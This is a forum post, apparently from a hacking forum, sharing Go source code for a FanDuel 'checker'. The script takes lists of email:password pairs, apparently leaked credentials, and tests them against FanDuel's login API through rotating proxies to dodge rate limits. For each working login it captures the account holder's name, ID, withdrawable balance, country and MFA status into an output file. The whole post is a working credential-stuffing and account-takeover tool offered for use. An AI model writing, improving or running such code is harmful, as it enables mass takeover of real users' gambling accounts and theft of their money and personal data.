[GO Source] Fanduel.com checker | Capture/Check Valid

[D2]

Proxies supported:
http
socks4
socks5

Upon successful login script will retrieve following values:
Username|ID|has_deposited|withdraw Balance|First name|Last name|Experience|MFA_enabled|Withdrawl|Deposit|Country

Warning fanduel.com will ratelimit after a few login attempts on same origin IP

Код: Скопировать в буфер обмена

package main

import (
    "bufio"
    "compress/gzip"
    "fmt"
    "io/ioutil"
    "math/rand"
    "net/http"
    "net/url"
    "os"
    "strings"
    "sync"
    "time"
  "crypto/tls"
    "github.com/valyala/fastjson"
)

var (
    proxies   sync.Map // Concurrent map for proxies
    accounts  = []string{}
    removeCh  = make(chan int) // Channel for removing proxy keys
)

func WriteFile(name, content string) bool {
    file, err := os.OpenFile(name, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
    if err != nil {
        panic(err)
        return false
    }
    defer file.Close()

    if _, err := file.WriteString(content); err != nil {
        panic(err)

        return false
    }

    return true
}

func OpenFile(name string) []string {
    file, err := os.Open(name)
    if err != nil {
        panic(err)
    }
    defer file.Close()

    lines := []string{}
    scanner := bufio.NewScanner(file)

    for scanner.Scan() {
        lines = append(lines, scanner.Text())
    }

    return lines
}

func init() {
    accounts = OpenFile("logs.txt")
    file, err := os.Open("proxies.txt")

    if err != nil {
        fmt.Println(err)
    }
    defer file.Close()

    scanner := bufio.NewScanner(file)
 
    for i := 0; scanner.Scan(); i++ {

        proxyURL, err := url.Parse(scanner.Text())
        if err != nil {
            fmt.Println("Proxy format not valid:", err)
        } else {
        if proxyURL.Scheme != "http" && proxyURL.Scheme != "socks5" && proxyURL.Scheme != "socks4" {
            fmt.Printf("Invalid proxy format (required http or socks5): %s\n", proxyURL.Scheme)
        } else {
            proxies.Store(i, scanner.Text()) // Store key-value pair in sync.Map
        }
    }
    }
}

func check(email string, pass string, proxy string) int {
    for {
        var req *http.Request
        var res *http.Response
        var err error
        var body []byte
        var pResult *fastjson.Value
        var p fastjson.Parser
        var succ bool
        proxyURL, _ := url.Parse(proxy)
        transport := &http.Transport{
            Proxy: http.ProxyURL(proxyURL),
      TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
        }
        netClient := &http.Client{
            Timeout:   time.Second * 10,
            Transport: transport,
        }
        url := "https://api.fanduel.com/sessions"
        payload := fmt.Sprintf("{\"email\": \"%s\", \"password\":\"%s\", \"product\": \"SB\", \"location\": \"AZ\"}", email, pass)
        payloadz := strings.NewReader(payload)
        req, err = http.NewRequest("POST", url, payloadz)
        if err != nil {
        }
        req.Header.Add("Accept", "application/vnd.fanduel.reduced_user_view+json")
        req.Header.Add("Accept-Encoding", "gzip, deflate, br")
        req.Header.Add("Accept-Language", "en-GB,en;q=0.9")
        req.Header.Add("Authorization", "Basic ODc2YmQzOTE3ZWE3NjYwMjZhNjg5YzY2MTE5OGQxMmU6")
        req.Header.Add("Content-Type", "application/json;charset=UTF-8")
        req.Header.Add("Origin", "https://account.az.sportsbook.fanduel.com")
        req.Header.Add("Referer", "https://account.az.sportsbook.fanduel.com/")
        req.Header.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36")
        req.Header.Add("X-Brand", "FANDUEL")
        req.Header.Add("X-Geo-Region", "")
        req.Header.Add("X-Product-Region", "AZ")
        res, err = netClient.Do(req)
        if err != nil {
            return 1
        } else {
            defer res.Body.Close()
        }
        if res.StatusCode != 201 {
            if res.StatusCode == 429 {
                body, _ = ioutil.ReadAll(res.Body)
                if strings.Contains(string(body), "15001") == true {

                    return 1
                } else{
                succ = WriteFile("bad.txt", email+" (Locked)\n")
                
                
                return 5
                }
            } else if res.StatusCode == 403 {
                return 1
            }else if res.StatusCode == 401{
                body, _ = ioutil.ReadAll(res.Body)
                if strings.Contains(string(body), "MFA") == true {
                    succ = WriteFile("bad.txt", email+" (MFA)\n")
                
                    return 6
                } else if strings.Contains(string(body), "API.92") == true {
                    succ = WriteFile("bad.txt", email+"\n")
                    
                    
                    return 4
                }
            } else {
                body, _ = ioutil.ReadAll(res.Body)
                res4, err := p.Parse(string(body))
                if err != nil {
                    if strings.Contains(string(body), "Request") == true  {
      
                        return 1
                    } else if string(body) == ""{           
                        return 1
                    }
                }
                if res4.GetStringBytes("appId") != nil {
          
                    return 1
                } else {

                    succ = WriteFile("bad.txt", email+"\n")
                    if !succ {
                        fmt.Println("Bad email write failed\n")
                    }
            
                    return 4
                }
            }
        }
        body, _ = ioutil.ReadAll(res.Body)
        pResult, err = p.Parse(string(body))
        if err != nil {
            if strings.Contains(string(body), "Request") == true {
    
                return 1
            } else if string(body) == ""{
    
                return 1
            }
        }
        unixMilli := time.Now().UnixMilli()
        concat := fmt.Sprintf("https://api.fanduel.com/users/current?_=%d", unixMilli)
        req, _ = http.NewRequest("GET", concat, nil)
        req.Header.Add("Accept", "application/json")
        req.Header.Add("Accept-Encoding", "gzip, deflate, br")
        req.Header.Add("Accept-Language", "en-GB,en;q=0.6")
        req.Header.Add("Authorization", "Basic ODc2YmQzOTE3ZWE3NjYwMjZhNjg5YzY2MTE5OGQxMmU6")
        req.Header.Add("Origin", "https://account.az.sportsbook.fanduel.com")
        req.Header.Add("Referer", "https://account.az.sportsbook.fanduel.com/")
        req.Header.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36")
        req.Header.Add("X-Auth-Token", string(pResult.GetStringBytes("sessions", "0", "id")))
        req.Header.Add("X-Brand", "FANDUEL")
        req.Header.Add("X-Geo-Region", "")
        req.Header.Add("X-Product-Region", "AZ")
        res, err = netClient.Do(req)
        if err != nil {
            return 1
        } else {
            defer res.Body.Close()
        }
        if res.StatusCode == 401 {
            fmt.Println("Auth token related failure: retrying\n")
            continue
        }
        reader, err := gzip.NewReader(res.Body)
        if err != nil {
            fmt.Println("Request decode failed\n")
        } else {
            body, _ = ioutil.ReadAll(reader)

            pResult, err = p.Parse(string(body))
            if err != nil {
                if strings.Contains(string(body), "Request") == true {
        
                    return 1
                } else if string(body) == ""{
          
                    return 1
                }
            }

            formatted := fmt.Sprintf("%s|%s|%v|%f|%s|%s|%s|%v|%v|%v|%s\n", pResult.GetStringBytes("users", "0", "username"), pResult.GetStringBytes("users", "0", "id"), pResult.GetBool("users", "0", "has_deposited"), pResult.GetFloat64("users", "0", "withdrawable_balance"), pResult.GetStringBytes("users", "0", "first_name"), pResult.GetStringBytes("users", "0", "last_name"), pResult.GetStringBytes("users", "0", "experience"), pResult.GetBool("users", "0", "mfa_enabled"), pResult.GetBool("users", "0", "eligibility", "withdrawal"), pResult.GetBool("users", "0", "eligibility", "deposit"), pResult.GetStringBytes("users", "0", "country"))
            succ = WriteFile("fun.txt", formatted)
            if !succ {
                fmt.Println("Log write failed")
            }
        }
        return 0
    }
}

func getRandomProxy() (int, string) {
    var randomKey int
    var randomURL string
    rand.Seed(time.Now().UnixNano())

    // Create a slice to hold all keys
    keys := make([]int, 0)

    // Iterate over the map and collect keys
    proxies.Range(func(key, value interface{}) bool {
        keys = append(keys, key.(int))
        return true // continue iteration
    })

    // If there are no keys, return empty values
    if len(keys) == 0 {
        return randomKey, randomURL
    }

    // Randomly select a key
    for {
        randomIndex := rand.Intn(len(keys))
        randomKey = keys[randomIndex]

        // Retrieve the corresponding value
        if value, ok := proxies.Load(randomKey); ok {
            randomURL = value.(string)
            break // Exit the loop if value is found
        } else {
            continue
        }
    }

    return randomKey, randomURL
}

func removeProxy(key int) {
    proxies.Delete(key)
}

func proxyRemover() {
    for key := range removeCh {
        removeProxy(key)
    }
}

func main() {
    go proxyRemover() // Start proxy remover goroutine

    // Check if proxies map is empty before starting goroutines


    waitGroup := sync.WaitGroup{}
    for i := 0; i < len(accounts); i++ {
        waitGroup.Add(1)
        account := strings.SplitN(accounts[i], ":", 2)

        go func(email string, pass string) {
            defer waitGroup.Done()
            for {
                key, randProxy := getRandomProxy()
                if(randProxy == "") {
                    //fmt.Printf("No proxies remaining")
                    return
                    };
                val := check(email, pass, randProxy)
                if val == 4 {
                    fmt.Printf("Bad: %s\n", email)
                    return
                } else if val == 1 {
                    fmt.Printf("%s | Bad Proxy: %s\n", email, randProxy)
                    removeCh <- key // Send key to remove from map
                } else if val == 3 {
                    fmt.Println("Parse failed\n")
                    return
                } else if val == 5 {
                    fmt.Printf("Account locked: %s\n", email)
                    return
                } else if val == 6 {
                    fmt.Printf("Valid (MFA enabled): %s\n", email)
                    return
                }else {
                    fmt.Printf("Good: %s\n", email)
                    return
                }
            }
        }(account[0], account[1])
    }
    waitGroup.Wait()
    close(removeCh) // Close the remove channel after all goroutines finish
    fmt.Println("Checking complete\n")
}